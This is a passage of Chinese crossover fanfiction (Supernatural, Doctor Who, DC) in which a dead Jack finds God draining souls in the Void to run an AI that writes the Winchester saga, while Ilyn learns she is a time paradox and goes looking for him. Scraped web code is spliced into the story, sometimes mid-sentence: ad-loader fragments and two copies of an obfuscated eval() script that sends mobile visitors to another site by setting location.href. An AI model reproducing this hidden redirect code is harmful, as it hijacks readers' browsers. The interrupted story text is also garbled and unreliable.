迪克张了张嘴,却被伊琳打断了:“博士说,他仍然是宇宙的定点。哪怕我看不到,但在宇宙无限的岁月里,总有一个时间,他会回来的。” 她的声音里逐渐蒙上了哭腔:“但对我来说,这和他不回来又有什么区别呢?” “伊琳......” “我很自私吧。”伊琳突然说,“我讨厌看他死去,哪怕他并不在意。归根结底是因为我讨厌自己什么都做不了、什么都帮不了他。我的存在与否,都是一样的。放在他永无止境的生命里,更是无足轻重。” “在爸爸找到我之前,我在二十世纪卡迪夫的济贫院里。我有时候在想,如果在一个平行世界里,他并没有机缘巧合地意识到我的存在,我是不是就会死在那里。除此之外,宇宙间什么都不会改变。” “怎么会没有改变呢?”迪克轻轻抱住伊琳,“我甚至不知道该从哪件事开始数。最近的怎么样?比如帮超人摆脱附身?阻止天启?拯救世界?” 伊琳垂下眼睛,把头搭在迪克肩膀上,闷闷地说:“你跳过了利维坦。” 迪克微微挪了下视线,转移了话题:“B告诉我,他们在天堂和利维坦作战时,利维坦在一瞬间都被某种无形的力给拽走了。如果不出意外的话,利维坦的威胁已经彻底解除了。” 伊琳从混沌的思绪中扒拉出了几个记忆片段:“当时的场景......他们看起来不像是死了,更像是被封印到了某个地方。” “是炼狱。”迪克点点头,“天使告诉我们的,所有死去怪物的灵魂都会进入炼狱,就像人类的灵魂会去天堂或是地狱一样。” 有一点灵光从伊琳脑海中闪过,一时间又捉摸不透。 卧室门突然被推开了。 萨姆急急走进来:“我们刚才讨论了一下,我突然有一个想法。” “我们的宇宙融合了,对吧?就是说,对你们世界的人来说,怪物成了真实的。对我们来说,漫画里的超级英雄也变成真实存在的东西了。” 伊琳有些茫然地点了点头。 “那么,天堂和地狱也是一样的,对吗?你们世界的人死后也会进入天堂或者地狱,因为所有的宇宙现在都共享同一套规则。” 伊琳的眼睛亮了起来。 “我们刚刚召唤了克劳利,他确认了杰克不在地狱。我们可以再找个天使来问一问。” ** 杰克还没有睁开眼睛,就听见一个高傲的女声:“怎么又是你。” 他挑了挑眉毛:他对这个声音并不熟悉,但能辨别出傲慢里夹杂的一点好奇与兴奋——难道他们见过,他还给这个女子留下了深刻的印象? 是在哪个年代?哪个国家——杰克突然意识到,他竟然完全想不起女子刚才的一句话里带的是什么地域的口音。 他睁开眼......和没睁一样,一片黑暗与混沌。 “小黑屋?”他转了一圈,手臂微微张开,没有撞到任何东西,甚至没有感觉到任何气流。杰克开始觉得有些紧张了,但还是笑着用调情的语气说道,“你喜欢这种play吗?一会儿是不是还有绳子?” “啊,”他夸张地叫了一声,“我们是不是得先定安全词?” 黑暗里,他听见一声嗤笑,既恼怒又有兴味:“你还是老样子。” “我们认识吗?”杰克开始维持不住脸上的笑了——他完全无法从声音判断出女子的位置,她的声音甚至不是从四面八方传来,而是直接作用在他的头脑里。 更让他毛骨悚然的是,他紧张的情绪并未使得他胸口发紧、呼吸变快。等他专心分辨后,意识到自己完全无法感知到自己的心跳,同时也忘记了如何去呼吸。 “我在哪里?”杰克骤然变色,问道。 “虚无。” “虚无是什么?你是谁?” “我就是虚无。”虚无说,“虚无是不属于天堂、地狱、炼狱的灵魂的归宿,所有进入虚无的灵魂,都将陷入永恒的沉睡。” “除了你。”虚无说,“你很吵。上一次也是。” “还有上一次?”杰克想了一会儿,之前的画面此刻才浮上心头,“哦,我死了。” 这和他想象的死亡很不一样,他本以为那会是安静的长眠,没想到还会有个人和他聊天。 ……只是像被关了小黑屋一样。 “那我什么时候会复活?” “我不认为你能。” 杰克第一反应依旧是不相信:“为什么?” “虚无里跑进来了一只可恶的寄生虫,他一直在窃取虚无里灵魂的能量。”虚无厌恶地说,“想把你带回去的那股力量被他窃取了。上次也是,只是上次他偷的没有那么多。” “所以,我不会再复活了。”说不清涌上心头的是紧张还是释然,自己无止境如怪物般的生命终于有机会被画下一个句点,但是,自己在死前给出过承诺。 “我必须回去,至少这一次我得回去。”他说。 “这话你和我说不着。”虚无说,“我不想留你下来,你太吵了,吵得我头疼。如果你真的想回去,不如自己去找找看那只寄生虫。” “好吧,但你能不能开个灯?” “......虚无?你还在吗?” 杰克开始漫无目的地在黑暗里行走。他并不觉得疲累,也没有对时间的感知,但无论怎么走,都没有任何一个感官能够提示他位置的变化。 “也许我在转圈。”他大声地自言自语着,然后尝试着走路时让前脚脚跟紧贴着后脚脚尖,确保自己在走直线。 “嘿,虚无,或许你可以给我一个指南针吗?” 一片死寂。 杰克耸了耸肩,继续以古怪的姿势前行着:“这里的时间流速和外界一样吗?我出去的时候我女儿不会变成小老太太了吧?” “你还在吗?这里可真无聊,我猜你一定有别的去处。这里有连外界的网络吗?你是不是偷偷跑去玩游戏了?嘿,你可是这里的主人。放客人一个人在家里可不礼貌。” 虚无终于恼火地开了口:“你太吵了。” 一束微弱的白光突然出现在了杰克身边。 “给你照明的工具,”虚无不耐烦地说,“现在,安静些。” 照明的工具——卡斯迪奥——一脸茫然地转向杰克:“我在哪儿?” 杰克眨了眨眼,卡斯迪奥看起来像一只小功率的电灯泡,周身盈盈的白光只能勉强照亮周围几十厘米一块空空荡荡的区域。但他还是大笑起来,拍了拍卡斯迪奥的肩:“欢迎加入行走的死人——还有死天使的队伍。” “死人?”卡斯迪奥皱起眉头,下意识歪了歪头,“你在天堂?但我......” “不,我们在虚无。好像是叫这名字。” 卡斯迪奥缓缓摇了摇头:“我没听说过这个地方。而且......”他犹豫着环顾四周:“我感觉到了天堂的气息,遥远,但很纯粹。” 他伸手指向某一片黑暗:“就在那儿。” 杰克挑高了眉毛: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “那我们走吧。” ** 天堂没有杰克的消息。 为了确保天堂不会因为与温彻斯特兄弟的私怨而隐瞒消息,他们还特意拜托了康斯坦丁去找超英世界原来那群会和他在酒吧里勾肩搭背喝酒的天使们打听,最终确认整个天堂都没有杰克的灵魂。 “说不定是被死神丢到什么地方了,谁知道呢。现在天堂的管理很混乱,拉斐尔被卡斯迪奥杀死了,然后卡斯迪奥也不见了。” 伊琳无心去听天堂的内斗,她的眼神又一次落回到杰克的身体上——万幸,两周过去了,杰克的身体没有半点尸斑或者腐烂的痕迹。她不确定是要归功于塔迪斯的保鲜技术,还是要相信杰克的定点体质确实依旧在起作用。 “伊琳,伊琳......伊琳!” 她回过神来,抬头对上博士忧虑的视线:“你多久没好好休息了?” “我有睡觉。”伊琳下意识反驳,“除了休息,我现在什么也干不了。” “还有一种方式能够找到杰克。但你必须先去养足精神,我才能告诉你。” 伊琳怀疑地撇了撇嘴:“我不信,那你为什么之前不说。” “因为这关乎于我们隐瞒你的事。” “什么?” “现在,你先去睡觉。等你睡醒了,我就告诉你。” ** “这里,就是这个地方。”卡斯迪奥站定在一片黑暗里,蓝色的眼睛在愈发强烈的白光中变成了澄澈的天蓝色,眼神看起来惊慌无措,“这里的力量,比天堂更加纯粹。这是......天父的力量。” “上帝?” “这力量很活跃,就好像......他就在这里。”卡斯迪奥微微仰着头,越来越多洁白的能量从黑暗里毫无征兆地涌现出来,汇入他的身体内。杰克甚至能看到光线在他的背后逐渐组成翅膀的形状,浓郁得近乎有了实体。 卡斯迪奥迟疑地动了动肩膀,身后的翅膀微微扑棱了一下。 一声清脆又微弱的声音响起,像是棒棒糖摔碎在地上,黑暗被柔光划破,露出一个与虚无格格不入的......宅男的家。 天蓝色的墙纸,柔软的布艺沙发,到处乱丢的游戏手柄和漫画书,满满一柜子的手办,还有一个表面布满雪白的绒毛的深陷下去的躺椅,长长的绒毛将躺在上面的人遮盖得严严实实的,只露出头顶罩着的一个充满科技色彩的金属感应器。 一路走来,这是他们遇到的第一个人。 杰克走到躺椅正面,蹲下身才窥见那人的容貌:再寻常不过的白人男子,胡子还有些邋遢。 他看上去睡得很熟,全然没有注意到两人的到来,只沉浸在自己的美梦中,嘴角还带有一丝微笑。 “古怪。”杰克轻声嘀咕。 “恰克。”卡斯迪奥一眼就认出了眼前的人,可他身上因本能而兴奋到沸腾的荣光提醒着他,这个人、这个超出世间所有的力量,还有另一个身份。 “天父。”他瞪大了眼睛,震惊到只能用气声说话,“他是上帝。” “什么?”杰克第一反应是想笑——这太荒谬了。 但卡斯迪奥看过来的眼神让他知道卡斯迪奥是认真的,天使更不会开上帝的玩笑。 “好吧。”杰克耸了耸肩,往旁边走了几步,抓起一本限制级的杂志,嘀咕说,“我还以为按照圣经的内容,这种东西算是亵渎神明?” 卡斯迪奥默不作声,也翻开一本装帧简陋的书籍。下一刻,他就像被电到一样猛地松开手,书本掉落在地上。 “哈,看起来是有什么刺激的内容?”杰克兴致勃勃地绕了过来,拿起地上的书,随意翻了几页,大笑出声,“哦,这是爱丽森写的那个?有你和克劳利故事的那个?” 卡斯迪奥眼神躲闪,尴尬地不知道该说什么好:“这太......这太荒谬了。” “但看起来你天父很喜欢这本,看看这翻阅的痕迹。”杰克吹了记口哨,视线随意地扫了一圈,再一次落到罩在上帝头上的那金属制品以及纠缠着又蔓延到窗帘底下的电线上。 他的笑容淡了下来,视线不断在手中的书与那堆电线间跳转着。 “我不是个信徒,也怎么看过圣经。”杰克的神色冷了下来,“如果我说错的话记得纠正我——圣经里是不是有一句‘神说,要有光,然后就有了光’。” 卡斯迪奥不明所以地点了点头。 “神还说要有什么了吗?” 杰克并没有等卡斯迪奥回答更多创世记中的内容,而是快步走了过去,拉开了窗帘。 看着面前足有三人高、十米宽的大屏,以及无数纠缠在一起的电线和大屏后面数不清的机箱,杰克冷笑:“你的天父还真是个话唠啊。” 屏幕上以人眼难以捕捉的速度输出着文字,只有最顶上一行固定不动:温彻斯特福音。 74.爸爸没复活的第二天 文字出现得很快,杰克只能隐约看见“怪物”、“枪支”等字样。好在大屏的最下方摆着一个常见的小电脑桌,上面放着一台老旧的台式机,显示器上展现着与大屏相同的内容。 杰克快步走了过去,用鼠标滚轮将内容滑到上方,很快找到了自己在寻找的内容——天启、纳西索斯、利维坦。 一桩桩、一件件,都清楚地罗列在这个文档里。 他又往下滑了几页,脸色凝重地扫过后续的内容:不断受到威胁的地球,永远亟待解决的危机,层出不穷的怪物。死亡、复活、再次死亡。温彻斯特的命运被书写得波澜壮阔,伴随着无穷无尽的失去。 文字的输入被杰克的动作打断,一个恼怒的声音在他们身后响起:“嘿,你们在干什么?” 恰克——或者说,上帝——离开了柔软的躺椅,怒气冲冲地向他们走过来,一把将鼠标从杰克的手里夺了过来:“你们这是非法入室!你们知不知道你们是在干扰一部多么伟大的作品的诞生!” 杰克抱着手臂,半坐在简陋的写字台上,漫不经心地打量着大屏上除了写作文档以外的其他窗口——数十个论坛、文学网站的网页在后台打开着,终端开始不断跳出资源不足计算失败的错误提醒,淹没了此前执行成功的语句。 “我从没听说过有什么伟大作品是用人工智能写出来的。”杰克挑高了眉毛,低头翻了翻书桌上叠着的一摞关于温彻斯特兄弟的小说,“你看起来更像是一个三流作家。” “你在说什么!”上帝怒气冲冲,“这可是新时代的福音故事!这将在后世广为流传!” “你到底是谁?你不可能是他......”卡斯迪奥睁大了眼睛,在这个与虚无格格不入的小屋里,他身上的荣光变得更加明亮了,亮得从他的皮肤底下透出来,让他整个人看起来苍白透明,“你是先知?” 上帝一声嗤笑:“我把你造出来的时候一定是出了什么差错。” 卡斯迪奥的荣光微微地抖动了一下,他向后退了一步,微微张着嘴,什么都说不出来。 “你就像是工厂流水线上的残次品,与其他天使格格不入。”上帝背着手,提高了声音,在屋子里走来走去,“我真是不知道你的脑子里都装了些什么。天启!我筹备了那么多年的天启!从温彻斯特夫妇结合的那一刻就注定的天启!你就不能让它安安稳稳地发生吗?” “为什么......你为什么想要......” “嘿!为什么不呢?”上帝扬起胳膊,在虚空中比划着,“人间已经平静了那么久,他们早就遗忘了那些故事、那些史诗。我们需要一些新时代的英雄史诗,更悲壮、更宏大、更创新。” “灭世大洪水?火山爆发?不,那些都太俗套了。”上帝的眼里露出兴奋的光芒,“必须是天启,只有天启。米迦勒和路西法,迪恩和萨姆,宿命般的选择。读者喜欢宿命,不是吗?” 他压低了声音,近乎是咬牙切齿:“如果你没有将迪恩带离那个房间,这一切本该发生。” “当然,”他话锋一转,将手臂大张开,向他们展示自己无与伦比的杰作,“这也有好处,如果不是因为撞进了这个世界,我就不会想到科技能用来做多少事。那个钢骨,他可给了我不少灵感——将自己和机械连接起来,有趣,非常有趣。” “总结来说,你写不出好的故事,所以开始用人工智能作弊。”杰克讽刺地拍了拍手,“非常令人印象深刻。” “这不是作弊!”上帝愤愤地扭头看向杰克,“除了我,谁还能够给机器提供如此庞大的算力给每一个人谱写命运!我是创世神,我在做我该做的事。” 所以,虚无中灵魂被抽取的力量就是为上帝的三流小说生成器提供算力了。 杰克撇了撇嘴:“你给人类安排的命运可真是多灾多难。人间对你来说是什么?游乐场吗?” 上帝又恢复了漫不经心且懒洋洋的神色:“也许吧。其实我本来觉得人间也没什么好玩的了,现在看来还能再玩一阵子。” “话说,”他皱着眉头打量了杰克和卡斯迪奥几眼,“你们到底是怎么闯进来的?” 不等二人回答,他又一拍额头:“哦,愚蠢的生物智能锁!怕是从这只蠢天使身上感知到了我的力量。” 他用手在虚空里写下一个符文:“门禁再加一个规则:有羽毛的家伙不准入内!不能打开门锁!” 杰克与卡斯迪奥眼前一黑,再一次出现在了虚无里,那间小屋消失得无影无踪了。 卡斯迪奥有些茫然地看了看四周,身上的光又恢复了原先的黯淡:“我感觉不到他了。” 杰克焦躁地揉了一把头发:“好吧,让我们想想下一步要怎么办。” ** “现在,你能告诉我有什么办法能找到爸爸了吗?” 博士看了眼刚醒来头发蓬乱的伊琳,无奈地叹了口气。伊琳的眼睛里依旧有着明显的红血丝,显然并没有得到足够的休息。 ……当然,博士自然也清楚,在自己说了那样一番话之后,伊琳绝对不可能休息好。 但他只是想要拖延一点时间,好好想想怎么将这件事用一种伊琳能接受的方式给说出来。 然而,经过几个小时的思考之后,他意识到自己真的不擅长这个。 于是,博士选择单刀直入。 “你知道祖父悖论吗?”没有等伊琳回答,博士自顾自地说了起来,像是一个演讲新人,全然不顾与观众的互动,只是想把演讲稿快些念完,“当你穿越到过去将年轻的祖父杀死,你的父亲就不会出生,自然也就不会有你,祖父被谋杀这件事也不会发生,此处就形成了一个悖论。” “一个解决这个悖论的理论是,被改变的时间线事实上属于另一个平行宇宙。所以,被改变的过去并不会影响‘你’属于的那个宇宙。” “我以为我已经过了听科幻小故事的年纪。”伊琳小声嘀咕说。 博士挥了挥手,示意她不要打断:“当然,我们都知道,这个理论并不适用于我们穿越时空的时候。不管是塔迪斯,还是杰克的时空漩涡操纵器,我们本质上都是通过时间漩涡在同一条时间线上穿行。与其他平行宇宙的时空壁是很难被打破的。” “这就是为什么,我们每一次穿梭时间都要小心谨慎,避免改变历史。” “改变历史之后会有时间怪物出现,把一切都吞噬掉。”伊琳撑着下巴,“我很小的时候就听过这个时间理论了。” 博士深吸了一口气:“是的,但在某些很罕见的情况下,在历史的改动后,时空怪物并没有出现。” 伊琳看起来微微有些惊讶,但整体还算平静。 博士咽了一口口水,下意识地加快了语速:“举个例子吧,有人发现自己的女儿死在了过去,于是穿越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938425|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回过去在女儿死前救了女儿。这就形成了一个时空悖论:如果他的女儿本就没有死,他怎么会穿越回去救她呢?” 伊琳的脸色变了,她张了张嘴,但博士并没有给她说话的机会,继续说道:“他当然能够将这件事合理化,使影响降至最低。”他有些勉强地笑了笑:“当然,毕竟他受过专业的训练,对时间有着充分的了解。当然,我是说,和其他人类比起来的话。” “他伪造了女儿的死亡证明和档案记录,并且将女儿带到了未来的时间线上。时间怪兽没有出现,但悖论依旧是悖论。” “我是一个时空悖论。好吧,懂了。”伊琳握紧了拳头,抿紧嘴唇,“这和找到爸爸有什么关系?” “你作用在时间上的力量,并不是什么天赋,那是一种......”博士犹豫了一下,想换一个更加委婉的词,但没有想出来,只能说出了自己本能的感受,“扭曲。” 伊琳愣愣地跟着重复了一遍:“扭曲。” “杰克是时空中的定点,而你,是时空中一个具有巨大吸引力的黑洞。你可以简单地理解为,所有与你接触的人的命运都会引你的吸引力而发生改变。” 伊琳摸上了胸前的纳米薄膜吊坠,此刻终于明白了它的作用:“什么样的改变?” “呃,他们会被引向对世界施加更多影响的命运。就像杰克,他的命运是与你纠缠得最紧的,所以他成为了时空的定点。没有比定点带给世界更多影响的存在了。” 博士并没有像当年和杰克解释时说得那样直白,但在这个例子中,杰克被伊琳所引向的命运显然并不是什么好事。 伊琳的脸色有些发白,短时间内并不能想得很明白,只是缓缓地点了点头:“好吧,我好像......懂了一点。” “除此之外,你的力量还能直接作用在空间上。那些发生着大事的平行宇宙,同样会被你吸引过来。你的力量能够穿透塔迪斯都无法穿透的时空壁垒,将各个宇宙融合起来。” 伊琳皱起眉头,反复琢磨着“大事”两个字。 ……如果说天启是大事,倒不如说是灾难来得更恰当。 “所以说,你来到这个世界是一场意外,但也是一种必然。是你的体质与这个世界宇宙的重量综合在一起的结果,在你空间跳跃的过程中,这个宇宙主动地向你奔来。”博士缓缓说,“而杰克的命运,更是和你紧紧联系在一起。只要你动起来,时间能量会将你们两个带到一起。” 伊琳睁大了眼睛,摸着手上本属于杰克的腕表:“也就是说,只要我不断地穿越,就有机会找到他?就像到达这个宇宙一样?” “答对了!”博士刻意地扬起了声音,试图驱散凝重的气氛,“你可是杰克的大救星!我们的希望!” 伊琳没有跟着他振作起精神,仍坐在椅子上,若有所思地随意调着腕表的参数。 “我还有一个问题,”她轻声问,“你说的对世界施加更多影响的命运和发生着大事的平行宇宙,到底指的是什么?他们总是......坏的吗?就像是天启?” 博士张了张嘴,一时间没有想好该如何回答。 “不用说了,”伊琳低下头,看见胸前荡着的吊坠,“我明白了。” “不,当然不......”博士急急开口,想要否认。 但伊琳已经按下了腕表上开始穿梭的按钮,消失在了原地。 75.爸爸没复活的第三天 伊琳将穿越模式改到了随机模式——天知道为什么时空漩涡操控器会有随机模式这么毫无实用性的功能,想来应该不会是时间管理局原厂出品,更有可能是经过了杰克离开后的一些改动——比如说方便在行骗之后逃跑。 总而言之,这个功能很烂,烂透了。 地球很大,其中七成被海洋覆盖,剩下的三成里,也有充斥着不适宜人类生存的荒漠、雨林、草原——伊琳第一次穿越就落在了非洲大草原里,身前是向她奔腾过来的马群。 她没来得及度过穿越后的短暂眩晕,就再一次按下了穿越的按钮。 这一次她只觉得一阵热浪扑面而来,没看清落在了哪里,就弯下腰干呕起来。 就这么几秒钟的功夫,她裸露在外的皮肤就火烧火燎地痛了起来,嘴唇干裂起皮。眼前沟壑纵横的土地上映着红色的光,她微微眯起眼睛,用手当棚撑在额头上,勉强看了眼天际巨大的恒星——好吧,这大概不是地球,她或许该庆幸腕表的随机模式还考虑到了人类能够生存的极限条件,至少不会把她传送到几百度高温的星球上。 她再一次按下按钮,刚才还灼热的皮肤瞬间就被冰霜覆盖,睫毛上结起白霜。 下一次的传送点终于有了人声,但一个大活人冷不丁地出现在热闹的集市中央,她身边的人惊慌下让开了一个大圈。 伊琳捏了捏身上结成硬块的衣服,舒了口气,冲着举起的手机镜头招了招手,瞬间消失在原地。 眼前的光影不断变幻,随着穿越的次数增加,伊琳不再感受到移动时的晕眩,甚至于,在不刻意去感知的情况下,外界的极端环境不再给她带来任何不适。 世界变得飘忽不定,时间能量更加复杂多变。她与到达的世界似乎隔着一层薄膜,她只是被风带来的过客,一眨眼的功夫就消失不见。 伊琳机械性地一下下按着按钮,眼前的景物模糊成一片,但她的头脑却无比清醒:她正在被引着离开这个主世界的空间,去往另一个更隐蔽的地方。 那会是杰克的所在。 她仍能看见自己的身体,但在各个地点短暂的停留中,她感受不到风,感受不到自己呼吸间喷出的气,只能感到时间的能量落在她的意识上,推着她前行。 伊琳不知道带着她继续前进的究竟是她按下按钮的动作还是她在时空中穿行的惯性,前进的速度愈发迅猛,无数个空间重叠在一起,她能看见各个空间的轮廓。 不知为何,这种混乱并没有让她觉得眼花缭乱,她能清楚地分辨出重叠里属于每个空间的元素,冰、火、沙尘,以及无尽的混沌。 推着她前行的力量消失了。 她悬在混沌里,同时站在柔软的草地上;她望向无尽的黑暗,同时有天光落在她栗色的头发上,给发梢染上金灿灿的落日。 一团柔和的光飘飘忽忽地出现在黑暗里,伊琳若有所感地向那团光旁边的位置看去,捕捉到了混沌里那抹荡悠悠的灰蓝色大衣。 “爸爸。”伊琳的身体突然就重新感受到了重力,感受到了心脏在胸腔里加速。她向前迈了一步,天光的虚影抖了抖,与混沌重叠着,没有散去,“你睡了好久。” “伊琳。”杰克错愕地抬头,刚才谈笑时嘴角的笑意消失得无影无踪,说话时甚至有些结结巴巴的,“你怎么会在这......你不会......” 伊琳笑了:“我来带你回去。”她冲着卡斯迪奥挑起眉毛:“一起?” “哦。”杰克眨了眨眼,看着伊琳在黑暗中显得清晰无比的身影,她的半张脸映着橘红色的光芒,像是处在落日的余晖下,“你可真亮。” 他抬起手,指头穿过伊琳头发的投影,只感到微微的暖意。 伊琳的脸色变了:“怎么会......” 她急急地向前走去,轻易地从杰克的身体里穿过:“我为什么碰不到你?” 卡斯迪奥歪着头,试探性地伸出手指,同样从伊琳的身体里伸了过去。 “有趣。”一个女声突然响起,“连我都感觉不到你的存在。虽然我能看到你就在这里。” 伊琳仰起头,混沌里没有半点与之前不同的痕迹:“你是谁?” “我是虚无。” “她就是这个地方,就像天堂和地狱。”杰克挥了挥手,“特别难找,我刚才叫了她好久都没出来。” “嘿虚无,你刚才听到了吗?我说我找到那只寄生虫了,就是上帝,天使叫他天父的那个家伙?你现在能把他赶出去吗?然后我就可以走了?” 虚无沉默下来。 杰克非常懂得这种沉默代表着什么,打了个响指:“明白了,你拿他没办法。” 伊琳依旧尝试着伸手触碰杰克,但她的动作无一例外地穿透了杰克的身体。 “没关系。看来你不属于这个地方。这很好。”杰克虚拢着手,捧着伊琳的脸颊,“你只需要记住这个消息:上帝就在虚无里,他在吸收虚无中灵魂的力量——包括原本能让我复活的力量——” 他顿了顿,嘴角抽搐地继续道:“用来写三流小说。” 伊琳没明白,茫然地睁圆了眼睛。 “所有的一切,天启、利维坦,都是被上帝写出来的,是他设计好了一切,玩弄人类、地球的命运,只是为了写什么波澜壮阔的史诗,温彻斯特福音。” 杰克注视着伊琳的眼睛:“这一次,我们的敌人是上帝。把这个消息带回去,然后像以前一样,拯救地球。” 他又像往常一样笑了起来,眼角出现细密的笑纹:“回去吧,你看起来可真晃眼,小太阳。” 混沌如潮水般褪去,等伊琳回过神来,她站在高处的山林里,对面是深红色嶙峋的岩石,天边的云如同火烧,橘红色的太阳西斜。 在太阳被群山吞没前,她打开腕表的参数设置,重新按下按钮。 在湿润的海风里,一轮红日从海面跃出。 布鲁德海文正值破晓。 ** 夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957886|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚的布鲁德海文海岸线上脸海鸥都停止了鸣叫,只有浪花冲刷沙滩、撞在礁石上的声响。 清朗的男声突兀地响在这片静谧里:“今天天气不错,不看星星吗?” 没有回答。 迪克趴了下来,缩成一团蹲在窄小的阶梯上,探头往床垫底下望:“今天晚上能看见不少星星。” “退后。”床垫底下传来闷闷的声音。 迪克往后退了几步,伊琳从床垫底下爬了出来,虚虚坐在了床垫的边缘:“刚才还飘了些雨。” “可能是正好有朵云,现在已经飘走了。”迪克笑了笑,就要走到伊琳身边坐下。 “退后。” “怎么了?”迪克跳坐到一旁的栏杆上,晃悠着两条腿,“我记得你说过,我们可以找时间来看看星星。” 他张开手臂,全靠与栏杆极小的接触面积支撑着身体,整个人却极为松弛:“今天天气正好,你可不能说话不算数。” “你该离我远点的。” “我不明白。” 伊琳揉了揉眼睛,用手将散落在额前的头发拢到后面:“你知道多少?” “你传回来的那段杰克说的话的录音?”迪克耸了耸肩,重新跳落回阶梯上,“正义联盟一直在开会,泰坦也参加了。我中途跑出来找你——据迪恩说,你发消息回来后不见人影,博士在塔迪斯里面走来走去一天了。” “所以你什么都不知道。”伊琳抱住双腿,将下巴搭在膝盖上,失神地望着远方布鲁德海文城内星星点点的灯火。 她一直在想博士说的话——与她接触的人会被引向对世界施加更多影响的命运。 如果对杰克来说,对世界施加更多影响的命运意味着永远清醒着失去,面对糟糕的境遇时也无法靠死亡逃离;而对她踏足的宇宙来说,对世界施加更多影响的命运意味着天启级别的灭世危机。 那么其他与她接触的人呢? 那些被卡迪夫的时空裂缝所影响的人,外星冒险中死在她眼前的人,还有哥谭、布鲁德海文的混乱与堕落。这一切,会与她有关吗? “你该远离我。你该告诉所有人远离我。”伊琳喃喃说,“我只会让一切都变糟。” “别说胡话。” 迪克习惯性地伸手,想帮伊琳将脸侧的头发夹到耳后。伊琳却反应巨大地向后一退,高声喊道:“不要碰我!” 迪克错愕地愣在原地。 伊琳又一次说:“你不该靠近我。” 迪克缓缓地眨了眨眼:“我错过什么事了吗?” “我会带来灾难。”水雾蒙上了眼睛,伊琳用力闭上眼,泪水划过脸颊,“因为我本来应该死在二十世纪的,但爸爸救了我。所以我成了时间里的一个怪物。” “宇宙融合是因为我,你的世界有了天启是因为我,爸爸的不死与死亡是因为我。所有和我亲近的人都会倒霉。” “如果不是因为我出现在你身边,你的父母可能不会死。” 76.爸爸没复活的第四天 迪克在伊琳身旁坐下,为了惊起伊琳的过度反应,刻意隔了一段距离:“我的父母是在十多年前被人害死的,怎么可能和你有关系。” “时间施加在人类身上的作用是单方向的线性,但并不意味着没有力量能逆着时间线对人施加影响。” “听上去更让人糊涂了。”迪克用故作轻松的语气说,“我敢说,就算让世界第一侦探来,他都不一定明白。” 伊琳短促地喘了一口气,像是一声紧张的轻笑:“是啊,时间就是会把人搞得一团糟。” 她舔了舔嘴唇,斟酌着措辞:“在我去找爸爸前,博士才告诉我——我的存在是一个时间悖论。我本该死去,但爸爸改变了过去救了我,而这就使得我的存在能够扭曲时空。” “他说,我会将人引向对世界造成更多影响的命运。我还会吸引来那些发生着大事的宇宙,就像这一次的天启。” 听起来有些神神叨叨的。 迪克想了想,往后一躺,又拽了拽伊琳的衣角让她也躺下:“我是罗姆人,我小时候见过一个远房姑婆,她是通灵师。她有时候用水晶球占卜,有时候通过星星占卜。” 他指向天空中星星密集的一处:“她告诉我,这里面有一颗星星象征着厄运。我父母去世之后,她有来参加葬礼,她告诉我,在我父母死前,她看到了那颗星星。” “我不记得那是怎样一颗星星了,我也不在乎。因为我找到了该为我父母的死负责的人。要承担责任的是罪犯,而不是星星,不是命运。” 伊琳失神地望着星星,许久之后,摇了摇头:“你不恨我,只是因为你不明白我对时空的影响是如何运作的。” 迪克侧过身,伸手搂住了伊琳。 伊琳推了他一把,没有推动。迪克固执地拥着她,下巴搁在她的颈窝里:“我不明白。我只知道,遇见你是我生命中最好的事情之一。” 伊琳同样固执地将头扭向一边不去看他:“你只是还没有想明白。” “我不知道什么叫作命运,我不知道这种东西多大程度上决定了我所经历的事、我所成为的人。但我为我成为的样子而感到骄傲。” “你说你会将人引向对世界施加更多影响的命运,我确实不知道这是如何运作的。但我知道,我对于世界施加的影响并不在于这个世界上多了一个失去父母的八岁男孩,而是在于我在这之后遇到的人、做出的决定。” “我本会迷失在悲痛中,但我找到了目标,找到了希望。我选择去与罪恶抗争,改变世界。如果这就是你的力量对我做的,如果这就是你的力量引我走向的对世界施加更多影响的道路——成为罗宾,成为夜翼——这是我能想到的最好的事。” 伊琳安静了很久,迪克听见她的呼吸声渐重,鼻子瓮瓮的,大概是因哭泣而堵住了。许久,她转过头,脸颊擦过迪克的额头,闷闷地说:“你的话真的很有说服力。但也许,只是因为我愿意相信你所说的。” 迪克的怀抱紧了紧:“你还记得这个地方吗?” “废话。”伊琳翻了个白眼,“不然我是怎么到这儿来的。” 迪克轻笑:“把这两张床垫留下来可不容易。布鲁德海文都在传,说夜翼可能真的和鸟有什么关系,在海边的高处筑巢了。” “巢?这两张床垫?” “这两张床垫。” 伊琳把头埋在床垫上,笑出声来。 “那时候,人们是真的因我而死的。”他说。 伊琳抬起头,下意识说道:“那是巨汉干的,不能怪你。” “因为我的存在,他杀了与我相熟的人。不是通过虚无缥缈的命运,是用火,用刀枪。”迪克说,“如果你因为自己无法控制的影响他人命运的力量而自责,那我可以说,我对无辜者的死亡负有着比你的方式直接得多的责任。” “......这不是你的错。”伊琳说。 “我依然责怪自己。”迪克说,这是他第一次坦诚这一点,“我想我永远都不可能停下责怪自己,永远也无法卸下这些压在我身上的责任。但这份责任,同样推着我前行——我无法补偿死去的人,至少我能拯救其他人。” 